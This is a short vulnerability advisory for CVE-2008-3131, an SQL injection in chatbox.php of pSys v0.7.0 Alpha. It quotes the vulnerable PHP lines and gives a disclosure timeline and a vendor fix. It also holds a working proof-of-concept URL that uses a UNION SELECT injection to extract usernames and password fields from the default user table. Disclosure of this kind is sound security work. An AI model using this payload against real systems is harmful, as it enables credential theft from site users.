pSys v0.7.0 Alpha (chatbox.php) Remote SQL Injection

2008.07.13

Credit: DNX

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-3131

CWE: CWE-89

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

   ---------------------oOO---(_)---OOo--------------------
   | pSys v0.7.0 Alpha (chatbox.php) Remote SQL Injection |
   |           (works only with magic quotes = off)       |
   |                     coded by DNX                     |
   --------------------------------------------------------
[!] Discovered.: DNX
[!] Vendor.....: http://www.powie.de
[!] Detected...: 22.06.2008
[!] Reported...: 23.06.2008
[!] Response...: 23.06.2008

[!] Background.: pSys is a module based PHP Script

[!] Bug........: $showid in chatbox.php near line 42

                 12: $showid = $_REQUEST['showid']; //Einzelne ID anzeigen

                 41: if ($showid != '') {
                 42:     $sqlbefehl = "Select * FROM $tab_quick where id='$showid'";

[!] PoC........: http://127.0.0.1/psys/chatbox.php?showid=' union select 1,username,pwd,4,5,6,7,8 FROM ps_pfuser/*

                 "ps_" is default database prefix

[!] Solution...: Install updates from cvs (http://www.powie.de/cvsout)

[!] Greetingz..: h0yt3r, k1tk4t, pwndomina, e\o, daneo

See this note in RAW Version

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pSys v0.7.0 Alpha (chatbox.php) Remote SQL Injection

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